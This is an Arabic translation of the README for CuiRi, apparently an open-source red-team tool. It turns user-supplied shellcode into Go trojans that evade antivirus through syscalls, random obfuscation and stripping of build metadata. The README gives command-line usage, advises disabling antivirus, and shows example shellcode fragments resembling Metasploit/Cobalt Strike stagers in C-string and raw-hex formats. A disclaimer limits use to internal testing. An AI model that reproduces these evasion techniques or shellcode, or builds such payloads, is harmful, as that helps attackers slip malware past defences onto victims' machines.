摧日：CuiRi أداة توليد أحصنة طروادة مخصصة للفريق الأحمر لتجاوز مضادات الفيروسات

0x01 مقدمة:

   ____   __    __    _____      ______      _____  
  / ___)  ) )  ( (   (_   _)    (   __ \    (_   _) 
 / /     ( (    ) )    | |       ) (__) )     | |   
( (       ) )  ( (     | |      (    __/      | |   
( (      ( (    ) )    | |       ) \ \  _     | |   
 \ \___   ) \__/ (    _| |__    ( ( \ \_))   _| |__ 
  \____)  \______/   /_____(     )_) \__/   /_____( 

摧日: مولّد أحصنة طروادة مخصص للفريق الأحمر لتجاوز مضادات الفيروسات، يعتمد على shellcode لتوليد أحصنة طروادة تتجاوز جميع برامج مكافحة الفيروسات

CuiRi هو مولّد أحصنة طروادة مخصص للفريق الأحمر لتجاوز مضادات الفيروسات، تتيح هذه الأداة لأعضاء الفريق الأحمر توليد حصان طروادة قابل للتنفيذ يتجاوز جميع برامج مكافحة الفيروسات بسرعة من خلال مقطع shellcode يقدمونه.

الميزات

1. يعتمد على Syscall لتجاوز مضادات الفيروسات، مع تشويش عشوائي، ويمكنه تجاوز جميع برامج مكافحة الفيروسات تقريبًا
1. يتضمن go-strip لمحو معلومات الترجمة وتشويش معلومات البرنامج من أحصنة طروادة المولّدة بـ Go
1. الأداة نفسها عبارة عن ملف exe واحد فقط، ويمكن استخدامها مباشرة مع بيئة Go

شكرًا لمؤلف go-strip @boy-hack

0x02 الاستخدام:

قم بتنزيل الملف الثنائي من release، وثبّت بيئة لغة Go على النظام، ثم احفظ shellcode في ملف txt واحد، ويمكنك استخدام هذه الأداة لتوليد حصان طروادة يتجاوز مضادات الفيروسات.

   ____   __    __    _____      ______      _____
  / ___)  ) )  ( (   (_   _)    (   __ \    (_   _)
 / /     ( (    ) )    | |       ) (__) )     | |
( (       ) )  ( (     | |      (    __/      | |
( (      ( (    ) )    | |       ) \ \  _     | |
 \ \___   ) \__/ (    _| |__    ( ( \ \_))   _| |__
  \____)  \______/   /_____(     )_) \__/   /_____(

摧日: مولّد أحصنة طروادة مخصص للفريق الأحمر لتجاوز مضادات الفيروسات، يعتمد على shellcode لتوليد أحصنة طروادة تتجاوز جميع برامج مكافحة الفيروسات

تحذير:
1. هذه الأداة مخصصة فقط للاختبار الداخلي للمؤسسات، يُرجى عدم استخدامها في أي أنشطة إجرامية غير قانونية، وإلا فستتحمل العواقب بنفسك
2. تتطلب هذه الأداة بيئة لغة Go، ويجب إيقاف برامج مكافحة الفيروسات عند استخدامها
https://github.com/NyDubh3/CuiRi   Author:Dubh3

[INFO] الإصدار الحالي: 1.0
طريقة استخدام CuiRi.exe:
  -f string
        إنشاء برنامج خبيث متخفٍّ عبر shellcode
  -manual
        عرض طريقة إنشاء shellcode

تنقسم صيغ shellcode المدعومة في CuiRi إلى النوعين التاليين:

1. shellcode بصيغة سلسلة لغة C:

"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x48\x31\xd2\x51\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"

2. shellcode بصيغة قيم سداسية عشرية خالصة:

ملاحظة: إذا كان ملف bin مولّدًا من Cobalt Strike، فيُرجى نسخ القيم السداسية عشرية الموجودة داخل bin بشكل منفصل وحفظها في ملف txt.

fce8 8900 0000 6089 e531 d264 8b52 308b
520c 8b52 148b 7228 0fb7 4a26 31ff 31c0
ac3c 617c 022c 20c1 cf0d 01c7 e2f0 5257
8b52 108b 423c 01d0 8b40 7885 c074 4a01
d050 8b48 188b 5820 01d3 e33c 498b 348b
01d6 31ff 31c0 acc1 cf0d 01c7 38e0 75f4
037d f83b 7d24 75e2 588b 5824 01d3 668b